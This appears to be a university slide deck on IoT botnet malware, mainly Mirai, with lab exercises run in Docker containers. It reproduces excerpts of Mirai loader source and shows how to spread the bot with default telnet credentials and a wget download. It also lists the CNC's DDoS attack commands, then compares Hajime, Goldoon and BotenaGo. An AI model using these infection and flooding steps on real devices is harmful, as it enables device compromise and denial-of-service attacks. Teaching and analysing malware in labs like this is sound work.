### **IoT Malware**




Dell'Eva Luigi Ditu Ion Andy Germenia Riccardo

### What is Mirai malware?

First found in 2016 by MalwareMustDie <sup>1</sup>



Targets **IoT devices** 




The infected devices assemble a **Botnet** 



Allows to perform **DDoS attacks** 

### Who is behind it?







- Dalton Norman
- Josiah White

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- Paras Jha alias "Anna-senpai"
- Dalton Norman
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
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
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
#### **FUN FACT**





It was initially created to launch DDoS attacks on Minecraft servers to start a protection racket.





























As we said the **Loader** receives the vulnerabilities from the **Reporting** and uses them to infect devices. It has 3 main elements:

- Pool of workers (threads) whose job is to process the received vulnerabilities and infect devices
- List of vulnerabilities: list of result to access insecure device. Each worker has its own list.
- Binary source code: cross-compiled binary for different architectures

```
# WORKERS (THREADS) # MAX CONNECTION TO OPEN # WGET-IP & PORT # TFTP

# /mirai/loader/src/main.c

if ((srv = server_create(sysconf(_SC_NPROCESSORS_ONLN), addrs_len, addrs, 1024 * 64, "100.200.100.100", 80, "100.200.100.100")) == NULL)

{
    printf("Failed to initialize server. Aborting\n");
    return 1;
}
```

```
# mirai/loader/src/main.c
while (TRUE)
        char strbuf[1024];
        if (fgets(strbuf, sizeof (strbuf), stdin) == NULL)
            break;
       memset(&info, 0, sizeof(struct telnet_info));
        if (telnet_info_parse(strbuf, &info) == NULL)
            printf("Failed to parse telnet info: \"%s\" Format ->
                    ip:port user:pass arch\n", strbuf);
        else
            if (srv == NULL)
                printf("srv == NULL 2\n");
            server_queue_telnet(srv, &info);
            if (total++ % 1000 == 0)
                sleep(1);
        ATOMIC_INC(&srv->total_input);
```

#### server\_queue\_telnet

### server\_telnet\_probe

**Sets up a connection** with the remote device and **cyclically** adds a new **event** to the epoll<sup>1</sup> of a worker selected Then, as soon as the worker is free it will process the event executing the function **handle\_event()**.

#### server\_queue\_telnet

```
# mirai/loader/src/server.c
void server_telnet_probe(struct server *srv, struct telnet_info *info)
{
   int fd = util_socket_and_bind(srv);
   struct server_worker *wrker = &srv->workers[ATOMIC_INC(&srv->curr_worker_child) % srv->workers_len];
   ...
   epoll_ctl(wrker->efd, EPOLL_CTL_ADD, fd, &event);
}
```

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#### server\_queue\_telnet

```
# mirai/loader/src/server c
void server_telnet_probe(struct server *srv, struct telnet_info *info)
{
   int fd = util_socket_and_bind(srv);
   struct server_worker *wrker = &srv->workers[ATOMIC_INC(&srv->curr_worker_child) % srv->workers_len];
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### server\_telnet\_probe


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}
```

### handle\_event

Interacts with the remote device using a switch statement that performs **various actions** based on the received response. Each action is represented by function named **connection\_consume\_<action>()** and defined in *loader/src/connection.c.* 



Mirai uses **default** Telnet usernames and passwords to infect devices



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On machine **reboot**Mirai is removed from the device.

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#### **Detection**

- Occasional bandwidth saturation
- Checks open ports
- Look into active processes

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New U.K. Law Bans Default Passwords on Smart Devices Starting April 2024

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### **Exercises**



#### CNC

Find the CNC's IP and connect to it



#### **SPREAD**

Connect to a server and start **Mirai** 





#### **ATTACK**

Observe CNC's messages to bots



#### **MONITORING**

Analyse diverse attack logs

## **Exercise 1: Find the CNC**

**Task**: look at the source code of the malware and find the **ip address/dns** of the Command and Control server.



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### **Exercise 1: Find the CNC**

**Task**: look at the source code of the malware and find the **ip address/dns** of the Command and Control server.

#### **Hints:**

- You should search for it in the bot code
- Maybe you found it but it does not look like it makes sense



### **Exercise 1: Solution**

### \x4F\x4B\x50\x43\x4B\x0F\x41\x4C\x41\x22

- -> mirai-cnc (bot/config.h)
  - Looks like garbage
  - It is encrypted

### - Why?

- Harder to reverse
- Easier to switch ip

```
#define DOMAIN_NAME "\x4F\x4B\x50\x43\x4B\x0F\x41\x4C\x41\x22"
#define DOMAIN_NAME_LEN 10
#define SCAN_DOMAIN_NAME "\x4F\x4B\x50\x43\x4B\x0F\x41\x4C\x41\x22"
#define SCAN_DOMAIN_NAME_LEN 10
#define DNS_0 127
#define DNS_1 0
#define DNS_2 0
#define DNS_3 11
```

# **Exercise 2 prerequisites**

Start a terminal and run the following commands:

```
cd mirai
docker compose up -d
docker exec -it mirai-cnc bash /home/cnc/starter.sh
```

### **Exercise 2: Connect to the CNC**



Task: connect to your CNC using telnet.

Credentials: root, root

#### **Useful commands:**

```
# list containers
docker ps
# find details about container
docker container inspect container_name
# execute a command
docker exec -it container_name command
# connect using telnet
telnet ip
```

### **Exercise 2: Solution**

```
# Option 1
docker exec -it mirai_cnc telnet localhost
# Option 2
telnet 192.168.10.10
```

To know how many bots we currently have use: **botcount** 

# **Exercise 3: Spread Mirai**

**Task**: on shodan you found a potentially vulnerable IoT device (ip: 192.168.10.5), you have its manual (sheet of paper in your hands). The next step is to load the malware on the device and let it do its magic. Note: the file scanner.py is a custom implementation of the telnet scanner

#### **Hints**:

 to download the file on the machine you can use "wget mirai-cnc/bins/filename"



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#### **Hints**:

- to download the file on the machine you can use "wget mirai-cnc/bins/filename"
- Maybe the dictionary is missing some credentials? (you can find the files in the /var/www/html/bins folder)



## **Exercise 3: Solution**

- The credentials are: admin, admin1234
  - They must be added to the file /var/www/html/scanner.py in the CNC
- To download the scanner on the machine it is possible to use: "wget mirai-cnc/bins/scanner.py"
- Starting the scanner infects the other machines leading to 3 entries, this can be seen by using "botcount" as an admin in the CNC panel.

## **Exercise 3: Mirai Scanner Explained**

- Really fast
  - TCP Syn message
- Random ips
- 62 pairs of credentials
- Valid results go to Reporting Server
- Loader Server to actually send the malware
- echoloader (if "wget" and "lftp" are not available)

## **Exercise 4: Selling the service (optional)**



**Task**: Create an account in the botnet for a user, check the db (table mirai) and try to login.

#### **Useful commands:**

```
adduser
docker exec -it container_name command
mysql --password
users
history
whitelist
```

### **Exercise 4: Solution**

Add the user:


Enter new username: test
Enter new password: test
Enter wanted bot count (-1 for full net): 2

Max attack duration (-1 for none): 300
Cooldown time (0 for none): 30

New account info:
Username: test
Password: test
Bots: 2
Continue? (y/N)y
User added successfully.

#### Check the database:

## **Network analysis**



## **Distributed Denial of Service (DDoS)**

A DDoS attack aims to overwhelm a target's resources, making it unavailable to legitimate users. Multiple compromised systems (botnets) flood the target with excessive traffic.

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Protocol

**Application** 

Overwhelm the bandwidth of the target

Exploit weaknesses in network protocols (e.g., SYN floods) Target specific applications with requests (e.g., HTTP floods)

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Volume

Exploit weaknesses in network protocols (e.g., SYN floods)

**Protocol** 

Application

Target specific applications with requests (e.g., HTTP floods) Financial losses

Disruption of service



Reputational damage



Overwhelm the bandwidth of the target

## **Types of attacks**

http: HTTP flood

- 1 HTTP flood
- TCP SYN flood

UDP flood

4 ACK flood

```
root@botnet# ?
Available attack list
udp: UDP flood
vse: Valve source engine specific flood
syn: SYN flood
stomp: TCP stomp flood
greeth: GRE Ethernet flood
dns: DNS resolver flood using the targets domain, input IP is ignored
ack: ACK flood
greip: GRE IP flood
udpplain: UDP flood with less options. optimized for higher PPS
```

## **Launch an attack**



### Select any attack from the CNC terminal

Command	Description					
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Syntax:
<command> <target ip> <duration>

### In wireshark, we can see the packets sent from the CNC to the bots

0000	02	42	с0	a8	0a	05	02	42	с0	a8	0a	0a	08	00	45	00	· B · · · · · B	· · · · · · E ·
0010	00	42	64	7a	40	00	40	06	40	dc	c0	a8	0a	0a	c0	a8	- Bdz@ - @ -	@
0020	0a	05	00	17	dd	1c	91	d9	41	4b	3b	Зе	58	d1	80	18		AK;>X · · ·
0030	01	fe	95	94	00	00	01	01	80	0a	41	80	7c	28	8f	46		· · A ·   ( · F
0040	42	5c	00	0e	00	00	00	1e	0a	01	c0	a8	0a	09	20	00	B\	

### **Launch an attack**



```
0000
       2c 4d 54 42 c8 78 64 31
                                                                    ,MTB·xd1 P· ···E·
                                                   08
                                                                    ·B··@·@· ·A·····
0010
                            40 06
                                               a8
                                                   0a
              ec
                                                                    · · · · · P9 · > · · · – · · ·
0020
                     d8 50 39
                                               dc
                                                   2d 9b
0030
       00 e3 ac cd 00
                        00
                                01
                                     80
                                        0a 50 e5
                                                   83 59
                                                                    . . . . . . . . . . . . P . . Y . .
                                     03
                                            c0 a8
                                                       04 20 00
       0e 95
              00 0e 00 00
                            00 02
                                        01
                                                   0a
0040
                                                                       IP suffix
                  Attack
                                                          Victim IP
                                                                       32
                                          Number
                             Attack ID
                                                        192.168.10.4
                  duration
                                             of
                                           targets
```

## **Exercise 5: Traffic Analysis**



**Task**: analyze the provided .pcap files and associate each of them to the appropriate attack.

#### **Hints**

not all of them are "attacks"



https://forms.gle/Xqmx32VgfGSZejnP8

## **Exercise 5: Traffic Analysis**



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
#### Hints

- not all of them are "attacks"
- use the correct filter to keep only relevant packets



https://forms.gle/Xqmx32VgfGSZejnP8

## **Botnets architecture**





Birth 01 First discovered in October 2016

**Persistence** Hajime is notable for its lack of persistence on infected devices

04

**Propagation** 02

Brute-forcing default or weak login credentials on Telnet-enabled devices

Hajime

**Capabilities** 

It blocks access to certain ports to prevent other malware from infecting the same device

05

**Architecture** 

03

Decentralized P2P network

**Functionality** 

It does not have a clear payload for malicious activities like launching DDoS attacks, sending spam, or stealing data 06



Birth **Persistence** 01 Hajime is notable for its 04 First discovered in lack of persistence on October 2016 infected devices Hajime **Propagation Capabilities** 02 Brute-forcing default or It blocks access to certain 05 weak login credentials on ports to prevent other malware Telnet-enabled devices from infecting the same device **Architecture Functionality** 


Decentralized P2P Is it a goodware?

It does not have a clear payload for malicious activities like launching DDoS attacks, sending spam, or stealing data

06

#### **An Error Occurred**

Sorry, you are an FBI Agent & we can't help you :(
Go away or I will kill you :)



https://www.fortinet.com/blog/threat-research/new-goldoon-botnet-targeting-d-link-devices



Birth

03

Discovered in late 2021

**Persistence** 

It survives reboots and remains active over time. It employs obfuscation.

04

Propagation
Exploits numer

Exploits numerous vulnerabilities across a wide range of devices

BotenaGo • Capabilities

Victims download and execute additional payloads, scan for new victims and participate in coordinated attacks.

05

**Architecture** 

Centralized approach with traditional CNC

**Functionality** 

It can launch various types of attacks, such as DDoS and remote code execution 06

# Malware characteristic comparison

Malware Characteristics	Mirai	Hajime	Goldoon	BotenaGo		
Spread	Real-time-load	Brute force	Download source	Vulnerabilities exploitation		
Persistent	No	No	Yes	Yes		
Code	Open Source	Reversed	Reversed	Open Source		
Status	Active (many variants)	Dormant?	Active	Active		
Control	Only DDoS	No attacks	RCE and DDoS	RCE and DDOS		